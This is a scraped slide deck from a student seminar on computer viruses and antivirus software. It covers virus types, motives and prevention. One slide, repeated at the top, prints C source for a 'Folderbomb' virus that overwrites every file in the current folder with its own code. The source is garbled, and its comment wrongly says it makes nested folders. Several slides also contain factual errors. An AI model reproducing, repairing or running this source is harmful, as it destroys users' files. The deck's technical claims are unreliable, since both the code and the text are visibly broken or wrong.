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![#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{
char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”—————————————————
———————–”);
printf(”nVirus: Folderbomb 1.0nProgrammer:
BAS Unnikrishnan(asystem0@gmail.com)n”);
cprintf(”—————————————————
———————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{
printf(”n”);
cprintf(” %s “, ffblk.ff_name);
printf(”is attacked by “);
cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARY
O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
/*This is a simple virus program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......*/](https://image.slidesharecdn.com/computervirusesandanti-virusesbysasikumar-130904080528-/85/Computer-viruses-and-anti-viruses-by-sasikumar-21-320.jpg)
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Computer viruses and anti viruses by sasikumar
- 2. Contents Intentional Overview Definition of Computer Virus ? Who creates/writes viruses ? Why people creates computer viruses? How can they write virus codes? Effects by virus Infection How virus works Major Types of Viruses Boot Sector Virus Examples for Viruses Virus Prevention Conclusion
- 3.
- 4. A Computer Virusis a computer program What is a Computer Virus ? that can copy itself and infect a computer Without permission or knowledge of the user.
- 5. Who creates/writes viruses? 1.INFO ATTACKERS
- 6.
- 7.
- 8. Who creates/writes viruses? INFO ATTACKERS
- 9. Why people createscomputer viruses? To attack the products of specific companies. To theft the confidential info. To distribute political messages. “Some virus writers consider their creations to be works of art, and see virus writing as a
- 10. How can theywrite virus codes? By using Assembly languages like Basic, c, Pascal e.t.c
- 11. What will happenif your computer Infected by virus Functions slower than normal Responds slowly and freezes often Restarts itself often See uncommon error messages, distorted menus, and dialog boxes
- 12.
- 13.
- 14. The boot virusaffects the booting process of the infected computer system. thus causing slow start up and shut down process Boot Sector Virus
- 15. Program/ File Infector virusBecomes activewhen the program file carrying the virus is opened. usually with below extensions .BIN .COM .EXE .OVL .DRV
- 16. Appears as interesting program filebut when installed it allows intruders to access and read your files Trojan Horses
- 17. Copies and multipliesit self by using computer networks and security flaws Worms
- 18. Programmed as a macroembedded in a document, usually found in Microsoft Word and Excel. Macro Virus
- 19. Designed to take fundamentalcontrol of a computer system, without authorization by the system's owners RootKit
- 20. Two examples forViruses Melissa Type : Macro virus I Love You Type : worm
- 21. #include<stdio.h> #include<conio.h> #include #include #include void main(int argc,char*argv[]) { char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf(”————————————————— ———————–”); printf(”nVirus: Folderbomb 1.0nProgrammer: BAS Unnikrishnan(asystem0@gmail.com)n”); cprintf(”————————————————— ———————–”); done = findfirst(”*.*”,&ffblk,0); while (!done) { printf(”n”); cprintf(” %s “, ffblk.ff_name); printf(”is attacked by “); cprintf(”Folderbomb”); source=open(argv[0],O_RDONLYO_BINARY); target=open(ffblk.ff_name,O_CREATO_BINARY O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); } /*This is a simple virus program to create a virus in c It will create Folder in a Folder in a Folder and so on ......*/
- 22.
- 23. Sources of Viruses Removable Data Storage Devises Internet
- 24.
- 25. How does anAnti-Virus work ? Scanner: Detects the virus by using a list of existing virus signature/definitions. Monitors: These are memory resident programs and alert when any changes find in executable program. INTEGRITY CHECKING PROGRAMS: To execute any virus must integrate with a executable program.so it checks for virus code integration
- 26.
- 28. Thank you A seminarby sasi